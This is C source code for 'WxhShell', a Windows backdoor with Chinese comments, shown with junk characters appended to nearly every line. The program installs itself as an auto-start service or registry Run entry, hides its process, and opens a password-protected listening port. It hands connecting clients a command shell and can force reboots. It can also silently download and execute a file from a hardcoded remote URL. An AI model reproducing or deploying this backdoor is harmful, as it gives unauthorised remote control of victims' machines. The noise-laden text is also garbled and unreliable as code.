    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "~|6tQLc  
    else { gi1^3R[  
    closesocket(wsh); .[ICx  
    ExitThread(0); RMdk:YvBg  
    } .(cw>7e3D  
    break; [_EZhq  
    } m+]K;}.}R  
  // 获取shell X aMJDa|M  
  case 's': { e w$ B)W  
    CmdShell(wsh); , s"^kFl  
    closesocket(wsh); N2;B-UF 7  
    ExitThread(0); f6&iy$@   
    break; 0Qf,@^zL*  
  } P/W XaE4  
  // 退出 [M=7M}f;  
  case 'x': { ig/xv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cK(C&NK  
    CloseIt(wsh); GjvOM y  
    break; Jdj2~pTq  
    } *nkoPVpC  
  // 离开 R {SF(g3  
  case 'q': { inMA:x}cF1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nksLWfpG?B  
    closesocket(wsh); -(;26\lE  
    WSACleanup(); KW pVw!  
    exit(1); -&zZtDd F  
    break; rlOAo`hd  
        } Rl?_^dPx  
  } f.KN-f8<F  
  } YJT&{jYi  
~:s>aQ`!  
  // 提示信息 vApIHI?-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G[uK-U  
} <L8'!q}  
  } TNe l/   
P@V0Mi),  
  return; 8V`WO6*  
} S%Uutj\/W  
&5B'nk"  
// shell模块句柄 (R=:X+ k  
int CmdShell(SOCKET sock) f<d`B]$(  
{ :!WHFB o 8  
STARTUPINFO si; .ypL=~Rp  
ZeroMemory(&si,sizeof(si)); $9_xGfx}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y!w`YYKP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wd8 l$*F*  
PROCESS_INFORMATION ProcessInfo; *&^Pj%DX  
char cmdline[]="cmd"; B" 1c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bq%Jh  
  return 0; rr],DGg+B]  
} /~%&vpF-L  
6H.0vN&  
// 自身启动模式 ) j#`r/  
int StartFromService(void) PUMXOTu]  
{ 2*;~S4 4  
typedef struct *v^Jb/E315  
{ 9<6;Hr,>G  
  DWORD ExitStatus; |6sp/38#p  
  DWORD PebBaseAddress; q376m-+  
  DWORD AffinityMask; 823Y\x~>  
  DWORD BasePriority; Q4#m\KK;i9  
  ULONG UniqueProcessId; '}53f2%gKa  
  ULONG InheritedFromUniqueProcessId; $]/{[@5  
}   PROCESS_BASIC_INFORMATION; c<B/V0]  
 MzdV2.  
PROCNTQSIP NtQueryInformationProcess; _^Ubs>d=*  
/$Nsd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /=nJRC3.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }c,}V  
24 'J  
  HANDLE             hProcess; z% ?+AM)P  
  PROCESS_BASIC_INFORMATION pbi; @e.C"@G  
X:"i4i[}{9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _Eo[7V{NY  
  if(NULL == hInst ) return 0; |.: q  
^eY!U%.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^,TO#%$iE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MS~(D.@ZS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !Iy_UfW  
V(I8=rVH  
  if (!NtQueryInformationProcess) return 0; $Vg>I>i  
BO?%'\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zZPO&akB"  
  if(!hProcess) return 0; :1QI8%L'$i  
=7=]{Cx[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o q Xg  
5uGq%(24  
  CloseHandle(hProcess); nfbR P t  
( Y[Q,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m]6mGp  
if(hProcess==NULL) return 0; L\J;J%fz.  
 ,f%S'(>w  
HMODULE hMod; ~g]Vw4pv  
char procName[255]; I3L<[-ZE  
unsigned long cbNeeded; zFfr. g;L  
8b& /k8i:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VPJElRSH  
DMr\ TN  
  CloseHandle(hProcess); oWT3apGO  
y'.p&QH'`  
if(strstr(procName,"services")) return 1; // 以服务启动 Z"xvh81P  
r(TIw%L$  
  return 0; // 注册表启动 q 'yva  
}  ?(1 y  
rH Lm\3  
// 主模块 6xx ?A>:  
int StartWxhshell(LPSTR lpCmdLine) -$ls(oot  
{ 3qC}0CP*  
  SOCKET wsl; q"lSZ; 'E  
BOOL val=TRUE; <dtGK~_  
  int port=0; +5*95-;0  
  struct sockaddr_in door; >1Ibc=}g  
V~3a!-m\  
  if(wscfg.ws_autoins) Install(); s2V:cMXFn  
L,/%f<wd  
port=atoi(lpCmdLine); L~OvY  
b{&)6M)zo  
if(port<=0) port=wscfg.ws_port; h7Kzq{$  
pz}.9 yI8  
  WSADATA data; %YscBG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 97*p+T<yp  
&DX! f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A|4[vz9>H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IM'r8 V  
  door.sin_family = AF_INET;  =j]<t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oJz^|dW  
  door.sin_port = htons(port); :P~6~ K um  
x|Bf-kc[#Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1.GQau~  
closesocket(wsl); !wVM= z^G  
return 1; <iC(`J$D  
} j</: WRA`]  
Wqw1J=]  
  if(listen(wsl,2) == INVALID_SOCKET) { *i%.;Z"  
closesocket(wsl); 5|s\* bV`  
return 1; kbQ>a5`,x  
} #=A)XlZMd  
  Wxhshell(wsl); e X|m  
  WSACleanup(); AQvudx)@"  
6A-|[(NS  
return 0; 4Z&lYLq;  
F^;ez/Gl  
} gR;i(81U  
X.{S*E:$u  
// 以NT服务方式启动 \~$#1D1f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m<Dy<((_I  
{ FTUv IbT  
DWORD   status = 0; |/{=ww8|  
  DWORD   specificError = 0xfffffff; SY\ gXO8k  
",; H`V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l'_r:b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @qAS*3j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *^ZV8c}  
  serviceStatus.dwWin32ExitCode     = 0; m-#2n? z-  
  serviceStatus.dwServiceSpecificExitCode = 0; V U3upy<  
  serviceStatus.dwCheckPoint       = 0; p_%Rt"!  
  serviceStatus.dwWaitHint       = 0; sUQ@7sTj  
2fd{hJDq;5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H<,gU`&R  
  if (hServiceStatusHandle==0) return; }19\.z&J  
\_f(M|  
status = GetLastError(); n{mfn *r.  
  if (status!=NO_ERROR) U 'bEL^Jf  
{ ?Z/V~,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n/:33DAB  
    serviceStatus.dwCheckPoint       = 0; eD6fpe\(  
    serviceStatus.dwWaitHint       = 0; @*( (1(q  
    serviceStatus.dwWin32ExitCode     = status; 1oGw4kD^x  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8<Av@9 *}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <0!):zraS  
    return; W/h[A3 `3N  
  } @:#eb1 <S  
p<"mt]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /a4{?? #e  
  serviceStatus.dwCheckPoint       = 0; XW] tnrs  
  serviceStatus.dwWaitHint       = 0; (O3nL.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -uf|w?  
} F={a;Dvrn  
UP,c|  
// 处理NT服务事件,比如:启动、停止 /PIcqg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }o`76rDN  
{ (f"4,b^]  
switch(fdwControl) (*iHf"=\  
{ [{,1=AB  
case SERVICE_CONTROL_STOP: 3a'<*v<xw  
  serviceStatus.dwWin32ExitCode = 0; MQ6KN(?\ZL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MQ8J<A Pf-  
  serviceStatus.dwCheckPoint   = 0; $ddCTS^  
  serviceStatus.dwWaitHint     = 0; $xN|5;+  
  { 0 kW,I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]}Yl7/gM1}  
  } "4{r6[dn  
  return; &F~T-i>X  
case SERVICE_CONTROL_PAUSE: (9dl(QSd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /%^#8<=|U  
  break; 3[*}4}k9  
case SERVICE_CONTROL_CONTINUE: N~'c_l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D*d]aC  
  break; ]t"Ss_,  
case SERVICE_CONTROL_INTERROGATE: sQZhXaMa $  
  break; Cw&KVw*  
}; H qx-;F~0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xJ.M;SF4  
} nBYZ}L q  
+ {'.7#  
// 标准应用程序主函数 uwGc@xOgg,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^iV)MTT  
{ A.w.rVDD  
6D3B^.r j]  
// 获取操作系统版本 X"%gQ.1|{j  
OsIsNt=GetOsVer(); yJIscwF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;aVZ"~a+\  
9hyn`u.  
  // 从命令行安装 3!_XEN[  
  if(strpbrk(lpCmdLine,"iI")) Install(); & 1f+,  
dSHDWu&  
  // 下载执行文件 G18b$z  
if(wscfg.ws_downexe) { TB31- ()  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^U/O !GK  
  WinExec(wscfg.ws_filenam,SW_HIDE); u=e{]Ax#}  
} N8df8=.kw  
"3J}b?u_[  
if(!OsIsNt) { rYk0 ak  
// 如果时win9x,隐藏进程并且设置为注册表启动 wUJcmM;  
HideProc(); P]C<U aW'!  
StartWxhshell(lpCmdLine); G' 1'/  
} =Dj#gV  
else "\yT7?},  
  if(StartFromService()) 2GG2jky{/  
  // 以服务方式启动 TWX.D`W  
  StartServiceCtrlDispatcher(DispatchTable); B%68\  
else I7 ]8Y=xf  
  // 普通方式启动 N?8!3&TiV  
  StartWxhshell(lpCmdLine); f _:A0  
E!F^H^~$8  
return 0; 'V>-QD%1  
} RxQ*  
E"IZ6)Q  
Dw"\/p:-3  
7zj{wp!  
=========================================== nO-#Q=H,  
'Pbr v  
rPm x  
yB!dp;gM{  
?e?!3Bx;EM  
t_1L L >R  
" /x *3}oI  
3XNCAb2  
#include <stdio.h> 7d\QB (~  
#include <string.h> * v#o  
#include <windows.h> rvM{M/4  
#include <winsock2.h> nJ;.Td  
#include <winsvc.h> .6J$,.Ig  
#include <urlmon.h> _Z\G5x  
F"mmLao  
#pragma comment (lib, "Ws2_32.lib") FP>2C9:d  
#pragma comment (lib, "urlmon.lib") %z$#6?OK^  
5bb(/YtFy  
#define MAX_USER   100 // 最大客户端连接数 5mR 1@  
#define BUF_SOCK   200 // sock buffer _yT Ed"$  
#define KEY_BUFF   255 // 输入 buffer '5tCz9}Y  
?V=CB,^  
#define REBOOT     0   // 重启 Iu6   
#define SHUTDOWN   1   // 关机 W%w~ah|/]  
1Z&(6cDY8M  
#define DEF_PORT   5000 // 监听端口 W*Y/l~x}  
$:^td/p J  
#define REG_LEN     16   // 注册表键长度 Ho]su?  
#define SVC_LEN     80   // NT服务名长度 zT{ VE+=  
w!XD/j N  
// 从dll定义API QZ8IV>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -Qe'YBy:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s#GLJl\E_P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !'I8:v&D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d_P` qA  
#0<XNLM  
// wxhshell配置信息 Pzem{y7Ir  
struct WSCFG { 'c~4+o4co  
  int ws_port;         // 监听端口 & 5R&k0i r  
  char ws_passstr[REG_LEN]; // 口令 moE2G?R  
  int ws_autoins;       // 安装标记, 1=yes 0=no [N'h%1]\  
  char ws_regname[REG_LEN]; // 注册表键名 .]K%G\*`:  
  char ws_svcname[REG_LEN]; // 服务名 Vt ohL+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1E$|~   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wgA_38To  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y)<q /  
int ws_downexe;       // 下载执行标记, 1=yes 0=no to&m4+5?6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [-x7_=E#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k;W XB|k  
`H+ lPM66  
}; 4&iCht =  
KY^Z  
// default Wxhshell configuration "wc<B4"  
struct WSCFG wscfg={DEF_PORT, 2Z%O7V~u  
    "xuhuanlingzhe", IVmo5,&5(  
    1, ss-D(K"  
    "Wxhshell", }K9H^H@r!  
    "Wxhshell", yh=N@Z*zP  
            "WxhShell Service", 8b=_Y;  
    "Wrsky Windows CmdShell Service", eV~goj  
    "Please Input Your Password: ", K<J9 ~  
  1, :zR!/5  
  "http://www.wrsky.com/wxhshell.exe", T8NxJmYqB  
  "Wxhshell.exe" T^q 0'#/  
    }; L: x-%m%w  
:E?V.  
// 消息定义模块 Vw"\{`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tf G@&&%9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fc@A0Hf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 13 wE"-  
char *msg_ws_ext="\n\rExit."; 048kPXm`  
char *msg_ws_end="\n\rQuit."; DV{=n C  
char *msg_ws_boot="\n\rReboot..."; M^I(OuRMeI  
char *msg_ws_poff="\n\rShutdown..."; hv+zGID7  
char *msg_ws_down="\n\rSave to "; PI<vxjOK`  
[ /ZO q  
char *msg_ws_err="\n\rErr!"; :hA#m[  
char *msg_ws_ok="\n\rOK!"; ~)'k 9?0  
Q@HV- (A  
char ExeFile[MAX_PATH]; Y\tui+?J  
int nUser = 0; !&\INl-Z  
HANDLE handles[MAX_USER]; tnIX:6  
int OsIsNt; g=I})s:CTp  
|cY`x(?yP  
SERVICE_STATUS       serviceStatus; H)&R=s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ItCv.yv35  
WPDyu.QD  
// 函数声明 |7Kbpj  
int Install(void);  S[QrS 7  
int Uninstall(void); E)3NxmM#  
int DownloadFile(char *sURL, SOCKET wsh); C*lJrFpB  
int Boot(int flag); (iGTACoF  
void HideProc(void); B?wq=DoG  
int GetOsVer(void); 2+O'9F_v  
int Wxhshell(SOCKET wsl); We z 5N  
void TalkWithClient(void *cs); Q=:|R3U/  
int CmdShell(SOCKET sock); BORA(,  
int StartFromService(void); U ;I9 bK8  
int StartWxhshell(LPSTR lpCmdLine); .8|X   
t:c.LFrF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /L#?zSt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mcok/,/  
"I TIhnE  
// 数据结构和表定义 lRdChoL$2  
SERVICE_TABLE_ENTRY DispatchTable[] = 6zn5UW#q  
{ _aMF?Pj~m  
{wscfg.ws_svcname, NTServiceMain}, GJUL$9  
{NULL, NULL} FgI3   
}; l+0P  
?hM64jI|  
// 自我安装 /Q )\+  
int Install(void) j~QwV='S  
{ Qei" '~1a  
  char svExeFile[MAX_PATH]; { "E\Jcjl\  
  HKEY key; R GX=)  
  strcpy(svExeFile,ExeFile); c"xK`%e  
\(T /O~b2  
// 如果是win9x系统,修改注册表设为自启动 ,=N.FS  
if(!OsIsNt) { k+4#!.HX^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rN{ c7/|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 07$o;W@  
  RegCloseKey(key); xwty<?dRW1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |)G<,FJQE_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (tQc  
  RegCloseKey(key); R FH0  
  return 0; { BHO/q3  
    } G#1GXFDO{  
  } PxE3K-S)G  
} Lh<).<S  
else { [1KuzCcK}  
bu"!jHPB  
// 如果是NT以上系统,安装为系统服务 PYzvCf`?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &VcV$8k  
if (schSCManager!=0) ]+$?u&0?w  
{ W}1 ;Z(.*  
  SC_HANDLE schService = CreateService bJ;'`sw1  
  ( ;UP$yM;  
  schSCManager, UY 2OZ& &  
  wscfg.ws_svcname, 2Hv+W-6v  
  wscfg.ws_svcdisp, yiI1x*^  
  SERVICE_ALL_ACCESS, >"<Wjr8W!$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !g.?  
  SERVICE_AUTO_START, EZ`{Wnbq  
  SERVICE_ERROR_NORMAL,  RX5dO%  
  svExeFile, CWS4lx  
  NULL, b_):MQ1{  
  NULL, xP,hTE  
  NULL, jNy.Y8E&  
  NULL, FsryEHz  
  NULL n-OL0$Xu  
  ); "g#i'"qnW  
  if (schService!=0) k;L6R!V  
  { :,I:usW"  
  CloseServiceHandle(schService); !Rt>xD  
  CloseServiceHandle(schSCManager); ;({W#Wa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tRfo$4#NY  
  strcat(svExeFile,wscfg.ws_svcname); 1!gbTeVlY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S Z$Kz n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *WT`o>  
  RegCloseKey(key); AzxXB  
  return 0; 7\q~%lDE  
    } tnG# IU *  
  } NN`uI6=  
  CloseServiceHandle(schSCManager); {.\TtE  
} #C3.Jef  
} l/awS!Q/nF  
O8.5}>gDn.  
return 1; "w.3Q96r  
} &`XVq" 7  
3%ZOKb"D*  
// 自我卸载 m%e68c  
int Uninstall(void) t<viX's  
{ VU d\QR-  
  HKEY key; baK$L;Xo:  
"FKOaQ%IH  
if(!OsIsNt) { @{O`E^}-D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6i~WcAs  
  RegDeleteValue(key,wscfg.ws_regname); 0_t`%l=  
  RegCloseKey(key); :Z z '1C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uU25iDn  
  RegDeleteValue(key,wscfg.ws_regname); \;"=QmRD%:  
  RegCloseKey(key); iW /}#  
  return 0; b%/ 1$>_  
  } {jX2}  
} <3hRyG@vB  
} igR";OQk  
else { %-0t?/>  
;BIY^6,7e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .h4 \Y A  
if (schSCManager!=0) w: Kl6"c  
{ ~`:L?Jkb6H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5N&?KA-  
  if (schService!=0)  !=P1%  
  { s}% M4  
  if(DeleteService(schService)!=0) { P}7'm M  
  CloseServiceHandle(schService); W1=H8 O  
  CloseServiceHandle(schSCManager); p"ZG%Ow5Q]  
  return 0; P(z++A&  
  }  1HZO9cXJ  
  CloseServiceHandle(schService); n#OB%@]<V  
  } s+?zL~t  
  CloseServiceHandle(schSCManager); pD#rnp>WWt  
} [mGLcg6Fw  
} K&KWN]  
8eHyL  
return 1; s6^>F/x  
} 3x'|]Ns  
vTzlwK\#1  
// 从指定url下载文件 ,>mrPtxN  
int DownloadFile(char *sURL, SOCKET wsh) ^RtIh-Z.9  
{ b?QoS|<e?  
  HRESULT hr; ` v@m-j6  
char seps[]= "/"; -I,$_  
char *token; wT8DSq  
char *file; 'u |c  
char myURL[MAX_PATH]; `, Tz Q  
char myFILE[MAX_PATH]; wov\kV  
ByNn  
strcpy(myURL,sURL); 9e,0\J  
  token=strtok(myURL,seps); JB[~;nLlC  
  while(token!=NULL) )C]g ld;8  
  { hp-<2i^"!  
    file=token; Y^EcQzLw  
  token=strtok(NULL,seps); dvJ M6W>^=  
  } >_"an~Ss  
|Uh  
GetCurrentDirectory(MAX_PATH,myFILE); 2)HuZda  
strcat(myFILE, "\\"); D!-g&HBTC  
strcat(myFILE, file); V/I<g  
  send(wsh,myFILE,strlen(myFILE),0); Ks`J([(W&  
send(wsh,"...",3,0); T !WT;A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )"aV* "  
  if(hr==S_OK) PKg@[<g43  
return 0; U6fgo3RH  
else R3&Iu=g  
return 1; wHMX=N1/  
DjQFi  
} M{T-iW"  
4-H+vNG{%  
// 系统电源模块 "8jf81V*  
int Boot(int flag) U7}yi$WT  
{ ieCEo|b  
  HANDLE hToken; qL3;}R  
  TOKEN_PRIVILEGES tkp; {dMsz   
qwgPk9l  
  if(OsIsNt) { j0evq+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G[I"8iS,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zFff`]^`  
    tkp.PrivilegeCount = 1; P'[3Fqe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EC!02S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mc_YPR:C  
if(flag==REBOOT) { 9u}Hmb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lbl?k5  
  return 0; a>I+]`g  
} _ y8Wn}19f  
else { 'Nn zk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ""F5z,'  
  return 0; Ep3N&Imp  
} $OkBg0  
  } 9oR@U W1  
  else { ^sEYOX\  
if(flag==REBOOT) { PB`Y g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F]]]y5t  
  return 0; -g Sa_8R  
} >kDQkhZ  
else { dkBIx$t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4,gK[ dc  
  return 0; H-*yh!  
} *>'V1b4}  
} P& -Qc  
<~'"<HwtK  
return 1; `FDiX7M  
} '+!1Y o'G  
suiS&$-E  
// win9x进程隐藏模块 s6v ;  
void HideProc(void) sF?TmBQ*  
{ Jg\zdi:t  
hl(hJfp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1&evG-#<:  
  if ( hKernel != NULL ) Gm.T;fc:  
  { u jq=F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9gEwh<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?; +1)>{  
    FreeLibrary(hKernel); ]kRfB:4ED  
  } "ZoRZ'i  
z] P SpUd  
return; }mq6]ZrK  
} dIa+K?INX  
xU>WEm2  
// 获取操作系统版本 a#y;dK  
int GetOsVer(void) l%puHZ)t  
{ 5Y'qaIFR  
  OSVERSIONINFO winfo;  ~f1%8z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lVR~Bh  
  GetVersionEx(&winfo); _j/<{vSy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #TX/aKr:  
  return 1; E+R1 !.  
  else q`H_M{26!y  
  return 0; mD0f<gJ1  
} ith 3 =`3  
M!A}NWF  
// 客户端句柄模块 A8fOQ  
int Wxhshell(SOCKET wsl) ;F!5%}OcL%  
{ q?oP?cCw  
  SOCKET wsh; w QH<gJE/:  
  struct sockaddr_in client; (*nT(Adk  
  DWORD myID; [.'|_l  
&(G\[RWp\  
  while(nUser<MAX_USER) gk[aM~p  
{ 3kIN~/<R+7  
  int nSize=sizeof(client); Ym{tR,g7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?U5{Wa85D  
  if(wsh==INVALID_SOCKET) return 1; 6?mibvK  
+[AQUc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); % X+:o]T  
if(handles[nUser]==0) RLynE V;]  
  closesocket(wsh); ~u!|qM  
else J^nBdofP  
  nUser++; 8# >op6^  
  } F2dHH^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $@Rxrx_@M  
rEnQYz  
  return 0; U;V7 u/{  
} lL3kh J:%  
uK#4(eY=W  
// 关闭 socket dTC7Fm  
void CloseIt(SOCKET wsh) ~xfP:[u  
{ 7he,?T)vD  
closesocket(wsh); a 3b/e8c  
nUser--; Lh"<XYY  
ExitThread(0); f/NH:1)y  
} iNz=e=+Si  
3n1;G8Nf  
// 客户端请求句柄 }~j lj  
void TalkWithClient(void *cs) 1N^[.=  
{ z8~NZ;A  
\oXpi$  
  SOCKET wsh=(SOCKET)cs; +p_CN*10H  
  char pwd[SVC_LEN]; I^]2K0+x x  
  char cmd[KEY_BUFF]; yw[g!W  
char chr[1]; NP#w +Qw  
int i,j; /k6MzFoid  
*{@Nq=fE  
  while (nUser < MAX_USER) { c9'vDTE%~  
P*Uwg&Qz)  
if(wscfg.ws_passstr) { OwUhdiG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5\sd3<:+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +L| ?~p`V  
  //ZeroMemory(pwd,KEY_BUFF); /y#f3r+*2  
      i=0; %@ODs6 R0  
  while(i<SVC_LEN) { mpEK (p  
nFg~< $d  
  // 设置超时 !/*\}\'4  
  fd_set FdRead; @=Uh',F  
  struct timeval TimeOut; .fFCC`&T  
  FD_ZERO(&FdRead); | y# Jx  
  FD_SET(wsh,&FdRead); S8w _ii3zd  
  TimeOut.tv_sec=8; v ~?qz5:K~  
  TimeOut.tv_usec=0; o&zJ=k[4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cAqLE\h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fZzoAzfv2  
|&nS|2.'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qIE9$7*X  
  pwd=chr[0]; V/LLaZ TE  
  if(chr[0]==0xd || chr[0]==0xa) { [M}{G5U.  
  pwd=0; '8. r-`l(  
  break; B+VubUPMS  
  } <X^@*79m  
  i++; eIEeb,#i  
    } q&- `,8#  
|`,2ri*5A  
  // 如果是非法用户,关闭 socket \fr~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IH&|Tcf\  
} 7P5)Z-K[  
VT`^W Hu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F>6|3bOR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @R"JW\bd  
f:,DWw`B  
while(1) { UiP"Ixg6  
o.g V4%  
  ZeroMemory(cmd,KEY_BUFF); f#"J]p  
GL0L!="!  
      // 自动支持客户端 telnet标准   bMu+TgAT,  
  j=0; wn, KY$/  
  while(j<KEY_BUFF) { qzLPw*;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SC!RbW@3  
  cmd[j]=chr[0];  #ut  
  if(chr[0]==0xa || chr[0]==0xd) { ]e^&aR5f"  
  cmd[j]=0; Jk11fn;\>  
  break; J T7nG.9  
  } qu@~g cE  
  j++; rjAn@!|:+  
    } T#Z^s~7&I  
o5O#vW2Il&  
  // 下载文件 (k)v!O-  
  if(strstr(cmd,"http://")) { ww3-^v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z`}qkbvi  
  if(DownloadFile(cmd,wsh)) 1;8UC;,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EIAc@$4  
  else M,,bf[p$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SrJGTuXg  
  } NiK4d{E&  
  else { CL;}IBd a  
~.nmI&3  
    switch(cmd[0]) { ~2N"#b&J  
  _pG-qK  
  // 帮助 qLG&WB  
  case '?': { RFcv^Xf  
